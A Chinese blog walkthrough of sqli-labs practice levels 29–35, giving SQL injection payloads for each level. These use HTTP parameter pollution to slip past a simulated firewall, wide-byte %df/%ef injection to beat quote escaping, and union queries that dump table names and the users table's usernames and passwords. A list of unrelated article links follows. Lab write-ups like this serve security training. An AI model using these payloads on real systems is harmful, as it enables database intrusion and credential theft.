当前位置: 首页 > java >正文

sqli-labs靶场less29~less35

less29

1.我们进入靶场看一下,他提示我们有一个防火墙

2.既然是有防火墙,那我们就来绕过它,这一关我们将id传参写两遍就行

?id=1&id=-1'union select 1,2,database()--+

3.剩下的部分我们只要按照这个方法做就行

less30

1.我们进入靶场看一下,这一关依旧提示我们有防火墙

2.这一关和上一关内容一样,只是闭合方式不同,变为了“,所以我们依旧可以构造以下语句

?id=1&id=-1" union select 1,2,database()--+

3.剩下的步骤我们按照这个方法继续往下做就行

less31

1.我们进入这一关看一下,依旧告诉我们这一关有防火墙

2.这一关和上一关大致相同,只不过闭合方式变为了”)

?id=1&id=-1") union select 1,2,database()--+

3.剩下的内容依旧按照上面的方式来进行

less32

1.我们进入这一关看一下,可以看到这一关告诉我们输入的内容就会转义

2.既然会被转义,那我们就使用宽字节注入,使用%df进行与单引号的宽字节合成

?id=-1%df%27%20union%20select%201,database(),3%20--+

3.剩下的我们就按照之前的方法继续做就行

?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+     爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+   爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+

less33

1.我们继续进入这一关看一下,他的提示依旧和上一关一样

2.这一关的语句和上一关一样,所以直接使用就行

less34

1.我们打开这一关看一下,它告诉我们用户和密码都会被转义

2.这一次我们需要将burpsuit抓包和宽字节注入

3.再uname的地方进行注入,使用%ef仅=进行宽字节合成

uname=-1%ef' and 1=2 union select 1,2,database()--+&passwd=1&submit=Submit

3.接下来步骤就和以前一样,只是内容要在请求体输入

less35

1.我们打开靶场进行查看,我们可以看到还是提醒我们有转义步骤

2.按照以前的方法可以判断出这是数字型闭合,在查询内容时将内容进行16进制编码

?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479 and table_name=0x7573657273--+

http://www.xdnf.cn/news/17081.html

相关文章:

  • Ethereum:拥抱开源,OpenZeppelin 未来的两大基石 Relayers 与 Monitor
  • 互联网医院整体项目套表整理过程文档全流程分析
  • Linux 文件与目录属性管理总结
  • IPIDEA:全球领先的企业级代理 IP 服务商
  • Go语言 逃 逸 分 析
  • JVM(Java虚拟机)运行时数据区
  • 【测试】⾃动化测试概念篇
  • 服务器突然之间特别卡,什么原因?
  • 晨控CK-GW08S与汇川AC系列PLC配置Ethernet/IP通讯连接手册
  • 开疆智能ModbusTCP转Profient网关连接ER机器人配置案例
  • 第二十三天(APP应用产权渠道服务资产通讯抓包静态提取动态调试测试范围)
  • 红队信息收集工具oneforall子域名搜集爆破工具安装使用教程详细过程
  • Python-初学openCV——图像预处理(七)——模板匹配、霍夫变换
  • Nestjs框架: Node.js 多环境配置策略与 dotenv 与 config 库详解
  • Node.js高并发接口下的事件循环卡顿问题与异步解耦优化方案
  • open-webui pipelines报404, ‘Filter pipeline.exporter not found‘
  • MySQL 约束知识体系:八大约束类型详细讲解
  • stanford cs336 assignment1 Byte-Pair Encoding (BPE) Tokenizer
  • Onnx模型部署到Arm64进行推理
  • 分布式光伏气象站:为分散电站装上 “智慧之眼”
  • 从医学视角深度解析微软医学 Agent 服务 MAI-DxO
  • Cursor国产平替重磅开源!离线研发AI助手,拒绝云端受制于人
  • 房屋租赁小程序租房小程序房产信息发布系统房屋租赁微信小程序源码
  • 基于Java的AI/机器学习库(Smile、Weka、DeepLearning4J)的实用
  • 人类学家与建筑师:解析 UX 研究与项目管理的需求分析差异​
  • CPP初识
  • 腾讯混元重磅开源:四款小尺寸模型全面发布
  • 消息系统技术文档
  • C++11 nullptr:解决空指针语义模糊的终极方案
  • 【机器人】VLN-R1 微调 | 增强训练 | 连续导航